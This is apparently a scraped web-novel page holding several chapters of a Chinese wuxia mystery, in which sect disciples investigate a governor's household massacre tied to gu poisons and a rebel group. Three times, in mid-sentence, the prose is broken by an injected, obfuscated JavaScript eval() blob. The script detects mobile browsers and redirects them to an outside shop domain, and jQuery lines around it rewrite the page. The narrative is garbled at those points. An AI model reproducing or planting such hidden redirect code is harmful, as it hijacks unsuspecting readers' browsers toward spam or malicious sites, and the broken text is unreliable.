几人带上斗笠,半个时辰后,三道身影骑马出城门,向益城的方向奔去。差不多每两个半时辰休息一次。 顾暄坐在茶馆里揉着发酸的大腿,想着上次他跟师兄们坐马车到剑门时用了七八天,差不多可以算得上是游玩了。 谢予神色自若,仿佛已经适应了这种强度的赶路。秀格坐在桌前安静喝茶,没有揉腿也没有活动小腿。 谢予留意到顾暄的小动作,问:“腿酸是吗?师妹感觉如何?要不我们多休息一会。” 秀格摇摇头,说不用。顾暄忍着腿酸附和了秀格的话,他这身体养伤一个多月真不行了,几位同门中应该算他身体最娇贵了。 一整天奔波带来的疲惫在天黑看见客栈时达到顶峰,谢予就像个可靠的大家长,吃饭住行差不多都是他来安排。此时,谢予站在柜台前,跟小二说要三间房。 那小二打了个哈欠,说只有两间房了,要不您跟那小公子挤一挤? 他说的小公子自然是顾暄。 谢予侧头,用目光询问他意见如何。他见过信王谢承礼,叔侄俩有着相似的丹凤眼,不知这是不是谢家的遗传。谢予有着一双缱绻的丹凤眼,凝神望着一个人时好似眼睛里就只装下了这么个人儿。 顾暄摩挲了一下颈间的黑玉坠子,道了声没问题。有了这个东西,除非是玉碎了或自己自愿摘下来,否则谢予不可能知道他的真实身份。 洗完澡的顾暄站在房间里,看着床上一床被子,有些犯难。从小到大除了生病的时候,他都是一个人睡的。小时候头痛严重的时候,要么是王爷和夫人守在床边,要么是夫人和顾映睡在外侧陪着他,但他七岁时夫人去世,睡在外侧陪他的只有顾映了。九岁过后,他就是一个人睡觉的。 突然要和另一个人同床共枕,对方还是个男子,女扮男装的自己一时间有些不自在,虽然这人长得好看,又是自己的师兄。 床靠墙,顾暄干脆挨着墙坐在床上,因为房间里的椅子看起来摇摇欲坠,估摸着比大长老年纪还大,顾暄可不想一屁股坐塌后当冤大头赔钱。 正发呆着,洗完澡的谢予抱着一床被子进来了。他身着白色中衣,长发微湿散着,他的眼睫上还带着沐浴时沾上的潮意,看过来时就像隔了层朦胧的雾。顾暄的心跳忽然有些快,他匆匆移开视线,直起身子往他那边膝行了几步,“师兄?” 谢予神色坦然:“我刚才看这被子有点短,就让店家再给我拿了一床被子。” 顾暄抱着床上的被子往墙那边移了移,心道谢予真是心细,不知是看穿了自己的不自在还是他自己也不习惯跟别人同睡一张床。 铺好被子后顾暄躺了下来,谢予慢条斯理地握着长发,慢慢用内力烘干。顾暄便侧躺着看着他的动作,两人一时无言。 烘干头发后,谢予问他腿酸不酸。顾暄这回委婉不起来了,大腿内侧的肌肉还在提醒他今天赶了多久的路呢,于是这人诚实地点了点头。 谢予看着他露在被子外的一双眼睛,没忍住笑了:“正常,我第一回出京做任务也是这样……手拿出来。” 顾暄不明所以,从被子里伸出一只胳膊。谢予垂下眼睛,轻轻掀起他的衣袖,并起两指搭在他的脉搏上。顾暄感觉到一道温暖的内力缓缓流经他的经脉,他刚想说这两个月不能使用内力。 谢予猜到了他后面要说的话,提前说:“我知道,医师说的不用内力是自己的内力,我给你输内力不碍事的。” 顾暄恍然大悟,随着那内力的流转,大腿内侧的肌肉酸痛慢慢得到缓解,他整个人就像泡在温泉水里一样舒服,连自己怎么睡过去的都不知道。 谢予坐在床边,听着这人渐渐平稳的呼吸声,他最后一句是迷迷糊糊的“等下你就放手吧……师兄,晚安了”。 谢予应了一声,却没有依言松开手,而是又输了一盏茶时间的内力。如他所想,顾暄的经脉确实与常人不同,古书上记载的先天玄脉极其可能是顾暄这种情况。 先天玄脉,据说大梁开国皇帝谢敬山便是先天玄脉,二十一岁便有剑仙美名。他为人侠肝义胆,路见不平总要出手帮一把,奈何当时是乱世,饿殍遍地、民不聊生的景象让他意识到光靠个人力量行侠仗义,是解决不了多数人的痛苦的。 于是这个在剑道上留下美名的江湖散修自立为王,于乱世中摇旗一呼,经历十余年动荡与战争结束乱世,开创了一个新的王朝,国号“梁”。 后世民间话本里,这位武功高强的皇帝是天上下凡的武曲星。 不过谁也不清楚先天玄脉的标准,只知道古书上说天赋和经脉异于常人,问题是异于常人的界限在哪儿不清楚。 师父是知道了这一点才与东平王订下契约,让顾暄拜师云庄的吗?测灵石为何测不出他的天赋等级,以及幻境中那个邪气森森的阵法,是谁教他的?师父收他为徒,背后原因一定很复杂。 顾暄入京以来,本应拜访宣景皇帝,这家伙估计是觉得麻烦便没去,宣景皇帝那边居然也没多说什么。而沈昧进京,陛下的人不日便到了京城的北安王府。 谢予垂眸看着他恬静的睡颜,将他那只手轻轻放回被子里。顾暄长得不错,尤其是那双眼睛,笑起来时仿佛有万千碎星同时荡漾。此时他闭着眼睛睡着了,谢予才发现他的五官有点天戎人的感觉。 王爷王妃均是大梁人,加上老东平王和嫁给老东平王的太上皇的妹妹,这家人就没有天戎人的血统。谢予揉了揉眼睛,心道:可能是错觉吧。 他熄了灯,和顾暄并排躺下,很快入睡了。 第二天顾暄起来时谢予已经洗漱完站在床边系腰带了,他看着谢予的动作,表情还有点呆,直到谢予伸出一根手指点了点他的额头。 顾暄摸了摸额头,起身时发现肌肉不痛也不酸了,心道大师兄不愧是大师兄,靠谱。 第二天和第三天照常赶路。第三天中午,他们在离益城还有六十里的茶馆休息,顺道吃个午饭。 郡守府的惨案已经不止在益城传播了,整个青州估计都传遍了。他们喝茶时听见提起这件事什么说法都有,什么郡守叛国私自豢养南疆巫人,什么南疆叛逃的巫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278664|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人控制郡守,什么郡守是天戎狗放在大梁的叛徒,甚至还有人说这跟南方与大梁边境接壤的南湘国的阴谋有关。总之是各说各的,各人都觉得自己说的是对的。 听到“天戎狗”一词,顾暄瞥了眼那人。天戎归附大梁不到二十年,其疆域纳入雍州所管辖的范围内。十几年过去,天戎人与大梁人的冲突并未真正停止,只能说缓解了。 天戎人看不惯穿着官服斯斯文文的大梁人,殊不知穿着官服到天戎旧地那儿宣皇帝旨意的文臣武将,只是大梁人中的极少数。但仇恨却带给了大梁的百姓。 同样,大梁人也看不惯天戎人的饮食习惯和生活习惯,总觉得他们是披着人皮的狼子野兽,根本不懂礼仪教化,简直跟茹毛饮血的野人没区别。 所以雍州的冲突是最严重的。估计要到两三代人过去后,当年那一代人全部死去,这种刻骨铭心的仇恨才会慢慢淡去。苗疆人在归附之初也被看作擅长巫蛊之术的不祥之人,四十年过后,大部分的大梁人和苗疆人能和平相处。 顾暄就带了一套换洗衣服,每天换下来的衣服洗干净后让师兄用内力烘干,完全不用担心衣服不干的问题。 顾暄穿着水红色长袍到达郡守府时已经月上柳梢了,几位身着白袍的云庄弟子在守着院子,看见他们来了俱是精神一振。 奚连今天不知道去哪里调查了,回来时看见除了谢予和秀格外还有一个水红色长袍的背影。 他愣了愣,看向谢予,纳闷道:“不是让你带小师弟来吗?怎么带了个姑娘?哪位长老的弟子?” 谢予:“您的弟子。” 顾暄转过头,看着大半个月未见的奚连,幽幽道:“师父,认不出我啦?” 奚连“嚯”了一声,绕着他走了几圈,眼带欣赏之意,“不错不错,这颜色挺粉嫩的,改天我也弄一身穿穿。” 顾暄乐得有人跟他一样喜欢粉色,连连赞同:“英雄所见略同,到时候您叫上我,还有几种粉色呢。” 照例问过京城云庄的情况后,奚连同守在这儿的二长老大致说了下情况。伤人那位郡守的公子是郡守的第四子,母亲是一位身份低微的侍女,第四子出生后便不被郡守所重,更何况郡守的正妻和其他几位小妾。四公子为人阴郁寡言,喜欢独来独往,唯一能让他提点兴趣的估计是习武了。 郡守府一位在厨房打下手的老妇因为那天晚上回孙子家探亲而逃过一劫,面对官府和云庄弟子的问题,她眨着浑浊的眼睛,语调缓慢地讲起她记得的事。 四公子名曹思凡,年少测过测灵石,得到的等级是上等偏下,这样的天赋加上勤快修炼,入云庄内院都是可能的。他也确实勤奋,无论炎热夏日还是数九寒天都早早起来习武。 老妇早上给府中各位夫人送餐点时便会经过那处,每次都能看见一个单薄的身影。他没有师父教学,于是自己买了几本市面上烂大街的武功秘籍,就这样都还进步飞速。 但半年后,老妇就没看见那个在小院里习武的年轻身影了,据说是身体不行。同年,二公子进入一重境中境。 33. 郡守府灭门案(四) 多年跟着王爷看话本子的经历以及直觉,让顾暄觉得曹思凡身体的不行与这位二公子的升境有点不对劲。身体不好这四个字说得委婉,真实情况可能是经脉或内力出了问题。 老妇说,就这么过了四年多,直到这桩灭门惨案的发生。 顾暄想了想:“四年多,这位二公子的修为应该到了一重境上境或二重境吧?”如此,那身体不行的曹思凡如何内力暴涨失去灵智一口气杀掉府中包括二公子的三十多口人?况且还有侍卫及那位身份不明的南疆长老。 这几天负责守院和调查现场的一位年轻弟子黄正说:“不是,我们探过他的经脉,还是一重境中境。” 顾暄心想这么慢的吗,身边这些同门师长差不多是两三年一小境界,天赋好的差不多是一年多一小境界,只是越往后增长慢下来了。这位二公子四年一重境界都没涨? 似是看穿了他的疑惑,站在他旁边的谢予低声道:“正常,有人卡在某一境界数十年都未有所突破。” 顾暄点点头,“四公子身体不行那会是四年前,那时他多少岁来着……十九岁,有一重境了吧?身体不好升境应该没那么快,他又如何在短时间内升境?” 饱读诗书、见多识广的二长老道:“自古以来的强行升境,要么是在紧急情况下以寿元和往后修为为代价,这种一般是被逼到穷途末路才会爆发的。其次是服用丹药,这种的后果和上一种方法差不多。最后一种是下蛊,相似方法有南疆的人蛊和天戎的巫骨。” 黄正:“前几日有人报官,说水井里发现一具尸体,我们打捞上来请人辨认,发现是那位四公子。他的经脉悉数断裂,应该是强行升境带来的后果。” 奚连:“我探过他的经脉,有一部分断过两次。” 众人一怔,两次,那岂不是意味着他在强行升境前就已经有一部分经脉断了?什么法子能让一个经脉断了一部分的人内力狂飙杀性爆发失去理智?第一二种方法首先排除,最后两种就在巫骨和人蛊里选了。 人蛊要靠蛊虫驱动,通常宿主死了蛊虫也便死了。东临城那渔夫便是中了巫骨。众人为辨认人蛊和巫骨而头疼,顾暄心想一般的蛊里宿主死了蛊虫不是会爬出来吗? 他正这样想着,就听到秀格淡声道:“人蛊有一个比较麻烦的点是,自种下以后人蛊以后蛊虫和宿主就不会分开了。所以有时候很难辨别人蛊和巫骨。” 等等,人蛊种下后蛊虫与宿主不分开,那东临城那具死去的渔夫尸体,原先他判断为巫骨,岂不是有误判的可能? 顾暄脸色神色莫测,其他几人也在想事情。奚连看天色晚,便让老妇先去休息,剩下人讨论明天的安排如何。 要劫走红鬾那伙黑衣人中有两人是护法门下的长老,多年内力深不可测,那天一时拖住了奚连。那伙人至今不知在哪个旮旯,劫走红鬾可能是他从郡守府中带走了什么东西,于是他的尸体被安置在郡守府,还没来得及安排人调查。 明天的安排是谢予和秀格处理那间装满瓶瓶罐罐毒虫的小黑屋,二长老和顾暄去查看曹思凡和红鬾的尸体,奚连则继续追踪那伙人,其他弟子要么看守郡守府,要么和官府的人一起去调查。 任务分明。第二天,二长老领着顾暄来到一处院子,里面放着三十余具尸体,差不多个个死不瞑目,守着这处院子的弟子一脸苦哈哈的表情。 虽说天冷地冻不怕尸体腐烂,但时间一长这味道还是有些熏人。郡守府的人要么是被剑刺死,要么是被掐死,要么是一掌毙命,反正死法齐全。顾暄大致看了看每个人的伤口,就将目光转到红鬾身上。 他是个三十来岁的红衣男人,面目阴柔,那双睁着的眼睛如同毒蛇一般阴翳。奚连为防止他身上带着重要物件被那伙黑衣人劫走,情形危急之下一掌送去,把红鬾生生震飞,在黑衣人反应过来前红鬾就送命了。 这家伙还抓过自己,顾暄看着那对没有闭上的眼睛,心想这回真是风水轮流转。 黄正呈上几张纸,说除去衣服刀剑,红鬾身上搜出来的东西就这么多。 一共三张纸,一张是当铺的单子,落款名为曹郡守的名字;一张是益城地图,最后一张纸上画着奇怪的线条。只有一条,顾暄左看右看,发现它有点像象征智慧、和谐和吉祥的佛教符号的左半边。难不成它的意思是这个和寺庙或和尚有关? 顾暄举了举当铺单子,问:“当铺那边问过了吗?” 黄正说:“问过了,那当铺老板一开始还死咬他和曹郡守没联系,拿出单子时才哑了声。” 顾暄:“红鬾要郡守的单子做什么?” 二长老仔细看了看当铺单子,道:“没准这是一种证明身份的方式,郡守在当铺里放了重要东西,这东西恰好是红鬾需要的。” 至于那张纸条上的奇怪线条,二长老猜测是街道,可是弟子找出益城地图,没发现上面哪条街道和那线条重合。 这边没什么线索,几人转去曹思凡的尸体。但从面相上看,这人不像是那种穷凶极恶的人,至少比他那二哥看着心胸宽广。 秀格还在小黑屋里处理毒虫,曹思凡的尸体一时无法辨认是人蛊还是巫骨,所以自打捞上来就没人敢动了。 顾暄看向文言殊,问他接下来我们要去做什么。文言殊道:“既然线条和曹公子的尸体暂时没有线索,我们不如见见那位当铺的老板。” 他和顾暄来到官府,出示令牌,便有人带着他们到关押犯人的天牢里。自称是庞所长的人带着他们到了一处较为逼仄的单间,甫一开锁开门,那人的嚎叫声就响起了:“冤枉啊大人,在下跟那曹郡守就是往来买卖的事儿,他的死与我无关啊……” 那声音听起来情真意切,情感充沛得要溢出来,嚎叫声也是真刺耳。庞所长一抽鞭子,甩在铁栏上,吓得那人扒在栏杆上的手一缩。庞所长训斥道:“闭嘴,刘二,两位大人要问你点事。” 庞所长想指挥人搬几张椅子过来,站着问人也挺累的。文言殊抬手制止了他的动作,请他回避片刻。等那庞所长的身影消失在走廊,那人终于松了口气,双手重新抓住栏杆,道:“大人我真是冤枉的……” 文言殊道:“冤不冤枉要看你将话说到什么程度了。我们奉命来调查曹郡守的死因,在追踪贼人时发现了当铺的一张票据,这张单子上唯独没有交易物品,不似平常据单。刘掌柜,你怎么解释?” 顾暄将票据递到他眼前,方便他看清。 刘二生着两撇小胡子,闻言如丧考妣,“这、在下几天前就说过了,郡守要买的是名贵药材,长白山采的天山雪莲,那块地几年前不是禁止民间开采了吗……” 顾暄略一思索,品质好的天山雪莲几十年一遇,所以朝廷在某一高度上禁止了民间的开采,这一高度线以下的也有天山雪莲,只不过成色一般。上等的天山雪莲流通在王公贵族内部,郡守要这味药材品阶还不够,所以民间要么找人去禁区里开采,要么花重金从上面的人的手里买。 天山雪莲可疏通脉络,曹郡守跟刘二的交易会不会是为了他的二儿子?毕竟这人四年未增长一重境界。 买卖违法,难怪票据上不敢言明交易何物。二长老又问了一些如何买卖雪莲的细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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文言殊这回主要是问曹思凡受伤的事和二公子习武上的事。李大娘说据流传曹思凡受伤是他练武方法不对,误伤了经脉后需要名贵丹药疗养,郡守对这儿子不上心,自然是没有什么名医仙丹了。那天在死人成堆的郡守府里她没敢说这些话,怕死去的郡守鬼魂听见。 至于二公子,她说二公子刚开始还想尽了办法升境,后面发现收效甚微便没有以前的积极性了。 谈话接近尾声,顾暄看着房中坐着吃糕点的男孩,忽然问:“这孩子几岁了?身体看着有些弱。” 李大娘回头看了眼自己的孙子,眼中有些心疼,“十岁了,这孩子常生病,总不长个。”李大娘的儿子在码头干活,儿媳给人家织锦,两人经常要到晚上才回家,李大娘也不是每天能回来,于是这孩子多数时候是一个人在家。 文言殊是内院公认的老好人,闻言说改日请个大夫给他看看身体,调养一□□质。李大娘一愣,倒是没有想到他会这么说。 两人出来后往巷子外走,顾暄问刚才指路那位大姐李大娘平日一般什么时候回家。那大姐思索片刻,说半个月回来一次,几乎是固定时间,除了这次。 她感慨道:“好险提前了几天回家,不然命都没了。李家本来就艰难,再少一个人那小孩可怎么办……” 顾暄和文言殊对视一眼,顾暄问:“孩子怎么了?他看着比同龄人小一点。” “唉。”大姐压低声音,“那小孩得了病,出生就有的,得花一大笔钱,李家几个大人累死累活就是为了这笔钱。” 兜兜转转,这件案子依旧一团迷雾。曹思凡缘何而大开杀戒?升境的蛊虫或毒谁给他下的?二公子练武没了以前的积极性,郡守为何冒着违法的风险取天山雪莲?郡守养着一个南疆人做什么?还有,每个月准时出府的人为何这次提前回去了?一切真的有这么巧吗? 34. 郡守府灭门案(五) 第三日,秀格那边有了进展。前几天秀格戴上手套亲自做仵作,分别给曹思凡、南疆人和二公子验尸,忙活了两天。 曹思凡的左肩被剖开,一团模糊的血肉里有一块墨绿色的东西。几人凑过去看,发现那是半个拇指大小的虫子的壳,此时正泛着墨绿色的光。 秀格言简意赅:“人蛊的蛊虫,初步猜测是死在屋子里的南疆巫人所为。” 那南疆巫人左肩上绣着曼陀罗花的图案,猜测可能是数十年前叛逃南疆的几位长老中的一位。秀格大致描绘了他的面貌身材,遣信鸟快速飞往南疆。 黄正那边和官府的仵作合力,大致推断出每个人的死亡时间,郡守是第一个,那南疆人是最后一个。听到这个顾暄问:“蛊虫是巫人下的,曹思凡又把他给杀死了?” 谢予:“不见得,没准巫人是被别人杀死的。” 这话犹如一颗小石子坠入平静的湖面,黄正瞪大眼睛,顾暄拍了拍手上起的鸡皮疙瘩。 真是这样的话,巫人与郡守有龃龉或出于某种目的,给郡守的四公子下药,等四公子将人杀得差不多了,背后的人出现,把巫人给杀了。 黄正道:“……不知道你们会不会误解,我刚才说的巫人是最后一个死亡,这些人包括了四公子。还有一点,尸检时我们发现二公子有寒疾,这可能是他武功不得精进的原因。” 几个人面面相觑。顾暄失声道:“曹思凡比巫人先死了?我们一开始以为他是被巫人……” 顾暄声音渐小,忽而神色一变,和同样脸色沉了下来的文言殊对视一眼。文言殊问:“那名被关押的掌柜,现下在何处?” 黄正一愣,扔下一句“弟子出去问问”就急匆匆往外走。 谢予问:“长老,可是想到了什么线索?” 文言殊表情有些懊恼,“我早该想到的,李大娘说二公子练武不复从前的上进,一开始我没放在心上。刘二说他与郡守的交易物品是上等天山雪莲,我们一开始想着他是给二公子服用。” 顾暄:“但是,天山雪莲生在极寒之地,本就不适合体寒的人服用。天山雪莲最主要的功效是疏通经脉,其他的作用倒是次要的,要是拿来驱散风湿就太小题大做了。” “所以……”谢予接上了他的话,“要么是刘二撒谎,要么是天山雪莲给了二公子之外的其他人。”郡守一共四个儿子,一个不受宠,一个有寒疾,另外两个不会武功,这天山雪莲还能给谁? 黄正就是在这时赶来,他神色凝重,“官府见我们问出了票据上的交易物品,便在下午放人了。他说自己在雪莲交易中充当一个搭线作用,私下贿赂了长官后便回府了。” 文言殊当机立断:“麻烦带一下路,我跟顾暄马上去。” 一根树枝上燃着点火星,黑纱覆面的中年男子举着树枝仔细端详,不远处坐着一位脸色苍白如纸的老人。 老人看着他不紧不慢的动作,心生火气,沉声道:“我以为东临城一事就算阁下对无间的诚意,不曾想阁下并未取走那几张记着重要信息的纸,害得红鬾丢掉性命去取。” 这人是在质疑自己对无间不忠,案发当晚没有将那三张纸带走,间接害得左护法的徒弟亡命。 男人古怪地笑了一声,“你当我们对郡守的东西一清二楚?东西太多太杂,再磨蹭下去我们就要被官府逮个正着了。云庄来人,郡守府戒严,你们都敢让红鬾去取东西,不正是想看看奚连实力如何吗?你们二位都差点被奚连留下性命,一个红鬾不正是送死?” 老人知道男人知道无间想推他出去做替死鬼这事,没想到他料到了这一点,反而让无间把红鬾推出去送命了。虽然那批朱颈的下落暂时不知,好歹阿武力那份秘法拿到了,老人略略松了口气,没计较男人话里的阴阳怪气,只道:“后面的事情我们已经安排好了,阁下何不动身去其他地方?” 男人将树枝扔在地上,踩灭那点火星,“知道了。” 寂静无人的仓库里,火碰到浸了油的面料时,迅速蔓延开。面料旁不知为何放了几桶面粉。不久后,一声巨响炸开,将早睡的人们惊醒,恍若一声猝不及防的惊雷。 几人赶到那儿时,刘府燃起熊熊大火,大火甚至要波及旁边的房屋,冲天火光中映出一张又一张不安的脸,不断有人端着水去救火。 文言殊念了个诀,蓝色水纹在他附近环绕,形成一层保护。他冲进去,其他人没这么深厚的功力,便跟居民一起救火。 等待的时间总是漫长的。文言殊左手抱着一个孩子,右手拖着一个人从火海里出来。为了护着这两人,他不可谓不狼狈,一截衣袖都成灰了。 被拖着的那人皮肤焦黑,烧伤的皮肤里不断渗出血,不知道死没死。顾暄去摸他的脉搏,快几近于无了。刘二颤颤巍巍睁开眼,看见顾暄一把抓住他的手,似是有话说。 顾暄知道他快不行了,此时已经是回光返照了。他抓着重点问:“你和郡守交易的物品不是天山雪莲吧?那是什么?如果是天山雪莲,他要给谁用?” 刘二焦黑的脸庞上流下一点泪,冲淡了脸上的部分黑烟,露出粉红色的血肉。他说:“……朱、朱景…无间……”说完这个,他还想说什么,只是喉头咯咯响了几声,随即头歪到一边,不动了。 谁也不知道这场大火因什么而起,等人们发现时火势已经呈雷霆之势漫开了。这场大火中死者有三,伤者十八。 回到郡守府,碰上调查回来的奚连。他两袖破破烂烂的,好像被狗啃了一样,神色倦怠。见他们衣衫破旧,奚连便问发生了什么。 顾暄神色郁闷,好不容易想到了这一环,结果重要证人死了,案子又被乌云笼罩了。他大致说了事情经过,问:“朱景,他喊的是人名吗?” 一听到这个,奚连的神色敛了敛:“不一定,也可能是一种药材。” 药材朱景?他怎么从未听过这种药?顾暄看向谢予,却发现谢予神色凝重。 文言殊边处理烧伤边道:“朱颈的颈是颈侧的颈,这是一种很罕见的花,多生于幽谷深处。它的外形和汁液都是红色的,故得此名。” 不怎么说话的秀格也开口了:“很少有人知道朱颈还有一种作用,它是炼制人蛊和巫骨的主要原料之一,具有很强的致幻性。” “还有……”她犹豫了一瞬,“这种药材极难得,一般生于西南一带,符合地形条件的其他少部分地区也有种植。十七年前天戎与大梁的战争后,这种药材就被禁止种植了。” 西南一带是南疆旧地,若是那边有人种植了朱颈并外流,那就不难解释几地为何这么多人中蛊和中毒了。郡守一个朝廷官员,为何要冒着被砍头的风险与人交易这种药材?还把一个巫人养在府中? 顾暄越理越乱,一片诡异的沉默中,谢予道:“我猜,巫人因为某种原因留在郡守府,毒虫和蛊都是郡守默许的。巫人与郡守有某种仇怨,拿四公子大开杀戒。又或者巫人操纵四公子杀人,杀完后两个人被其他人杀了。红鬾拿票据是想要那批朱颈,现下刘二死了,那批朱颈不知在何处。” 顾暄问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278666|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那无间,又是什么东西?听着怪不吉祥的。” 奚连、文言殊和谢予齐齐转过头看他,顾暄一愣,“怎么了?” 谢予道:“在佛经中,‘无间’意为‘无间断’,特指佛教八大地狱中最苦的‘无间地狱’,也叫阿鼻地狱,描述罪人承受永恒、无间隙的痛苦。” “天戎灭国不久,余下一心想要复国的修士便建立了无间,意为组织里的人都是承受灭顶的、持续的痛苦的人。这些人时不时在大梁境内惹事,比如先前那几例巫骨,便有他们的手笔。” “之前赤城、青州和东临城几地出现巫骨,我们一直怀疑这与无间有关。郡守府一案发生,说明无间的手已经伸到了部分朝廷官员上。” 顾暄不知道的是,未来这个名字还会很多次出现。 怀着重重心事,众人各自回房休息。自然不是郡守府,而是离郡守府不远的一家客栈。那儿因为命案发生在这条街上而生意惨淡,好不容易有人来住店,自然是殷勤得不得了。 几个小辈先回房休息了,奚连坐在客栈后院的一处石凳上,文言殊坐在他旁边,两人俱是无言。 好一会儿,奚连才道:“你的伤怎么样?” 文言殊进入火海后将防火诀施到那两人身上,留给自身的内力不多,因此手臂外侧被烧伤了。他刚才简单处理过了,闻言只是轻轻摇摇头,道了声“不碍事”。 一阵足音传来,两人抬头,原来是沐浴完的谢予,他跟两人打过招呼后坐在奚连旁边,问起他今日的调查。 奚连举起破破烂烂的袖子,那袖子活像被狗啃了几口后又被火烧、被水浸过一般,膝盖以下的衣袍也破了几个洞,衣衫再破烂一点就和街边的乞丐无异了。他面色沉郁:“那巫人有个相好在西柳街上,我想着从那里入手,赶去那儿碰上两个老不死的。” 谢予知道他说的老不死是天戎护法下的两位长老,只不过他们去巫人的相好那儿做什么?西柳街上多数为怡红院、芙蓉轩、宜雨阁之类的地方,巫人住在郡守府,竟然不给相好赎身,这也太不够意思了。 “他们一个废了,活着和死了也没区别了;另一个被我重伤,短期内掀不起太大波澜。”奚连这会儿面无表情,没有了平日和徒弟们的嬉笑打闹神色,仿佛对他来说这不过是一件让衣袖破了点的事情。 谢予知道他应该是受了内伤,具体伤势不知,看奚连的表情也不想说。他问:“无间两位长老去那里做什么?” “应该是想带走什么东西,没准杀死巫人的就是他们。”奚连说,“出于某种原因他们跟那巫人不和,巫人估计是猜到自己惹了杀身之祸,所以把东西放在相好那里,可惜我去的时候,赶上他们刚出来,东西应该被拿走了。屋子里被翻得乱糟糟的,那女人被打晕了。” 文言殊道:“那这几天的消息是等南疆的信息和追踪那批朱颈了。话说,你为什么要让你那小徒弟跟来?” 奚连“唔”了一声,“朱颈的保存条件苛刻,出土后需要秘法放置,这东西也是烫手山芋,太多了不好运输,先去查查刘二手下的货物一般放在什么地方……至于顾暄,让他来可能对他来说是一种保护。” 话到最后,他的神情淡淡的,声音听不出起伏。 文言殊看了他一眼,京城在天子脚下不是更安全吗?况且王爷的旧识也在京城,他为什么会认为那儿比益城还危险呢?前段时间他不在京城的时候,顾暄不也是在京吗? 不对,那个时候谢予也在。奚连跟谢予都不在,所以这才把顾暄带来吗? 35. 郡守府灭门案(六) 后面六七天差不多在等待南疆的信息中度过。谢予带着弟子和官府的人一起去查那批药材的下落,文言殊带秀格和顾暄去查郡守府的人际关系,光听李大娘一面之词不太行。奚连留在客栈里养伤。 据多方了解,曹思凡确实不受宠,二子曹思源为人善妒,苦于不是郡守府的人,这些郡守的同僚亲戚知道的家事也不多。醒来的巫人相好说自己不是他相好,巫人只是跟她姐姐有点渊源,巫人刚开始让她保管几张纸,后面改口收回了几张。她打开看过那些纸,上面什么也没有。 十二月初十,文言殊托一位医师给李家孙子看病,那医师去而复返,说李家已经请了医生,让诸位大人费心了。顾暄觉得哪里怪怪的,但又说不上来。 十一日,南疆的书信来了。秀格取下信鸟的书信,一目十行,然后把书信递过来。 这巫人叫阿武力,是南疆十五年前叛逃出去的几位高阶长老之一,还有两位是莱尔和图英。据当年派出去的弟子的调查,阿武力去了北方,莱尔和图英则在长江以南失去踪迹。三人出逃时带上了南疆几本秘传的术法,所以至今为南疆所通缉。 谢予:“能问一下被盗的几本术法是什么吗?阿武力被杀可能因为这个。” 秀格斟酌了用词,道:“是制毒蛊的术法,包括了人蛊。” 沉默片刻,奚连叹了口气,“早知道如此,我拼死也要把那两人杀了。” 一片愁云惨淡中,黄正从外边赶来,爆了个惊天消息: “李家孙子被治死了。” 顾暄他们赶去时,李家一片哀戚,断断续续的哭声听得人心惊。谢予尝试跟屋子里哭着的一对中年夫妇说话,那两人浑然不觉,只是呆呆地抱着几件衣服在恸哭。 顾暄凭借着记忆来到一间小房间,李大娘躺在床上,从她喉咙里发出来的已经不能叫哭声了,和嘶叫没什么区别。她浑浊发黄的眼睛扫过顾暄,忽然咳嗽了几声。 顾暄上去给她拍背顺气,手搭上李大娘脉搏时想到自己现下没有内力。秀格站在他身后,此时上前一步,道:“我来。” 李大娘顺过这口气,忽然抓住秀格的手,这一动作让秀格的手不小心撞了一下顾暄的胸膛。顾暄反应贼大,“诶”一声一头撞在了墙壁上。 秀格还没来得及说话,李大娘流下一行眼泪,道:“是我害死了小宝,也害了府中其他人……” 房间狭小,所以只有秀格和顾暄进来了。两人听到这话俱是一惊,顾暄连忙出去喊谢予。 李大娘:“几年前,小宝的病越来越重,后面是一对苗人兄弟救了他……他们从不露脸,一直带着黑纱。治病不要钱,也不要其他东西,只要我跟他说一些府中的事情就行了,特别是那个苗人……我刚开始不答应,后面为了小宝的病没办法了……” 郡守府中的苗人,是巫人阿武力。南疆在归附大梁前叫苗疆,现在还有一些人将南疆人唤作苗人。 “他们跟郡守府的苗人似乎是有仇,苗人又跟郡守老爷有仇,因为郡守老爷娶了他喜欢的女人,后面又间接害死了她……四公子、四公子跟老爷的关系也不好,命案发生那天晚上,刚好是四公子母亲的忌日……” 这什么鬼?这郡守府的恨海情天写成话本子演个一百回都不够。三个一起从南疆叛逃的人后面反目成仇,个中原因极可能是带出来的秘法分配不均。 李大娘说了这么多话,双眼无神地盯着头顶,又仿佛没有看那里。她说:“那天,四公子让我回家一趟,苗人医生突然说他要来给小宝看病,然后我就回去了……现在想想,不如死在那里。他说小宝吃了这两贴药就彻底好了,我信了,因为以前就是这么治好的……” “小宝呐……”李大娘歪着头,轻轻笑一声,“小宝……” 然后她抓着秀格的那只手不动了,慢慢垂了下来。 一时间失去两位亲人,李家那对夫妇神色麻木,眼泪都流不出来了。官兵赶去那游医的家中时,早已人去楼空。顾暄几人帮他们安葬联系人安葬李大娘和她的孙子,回到客栈时已经是半夜。 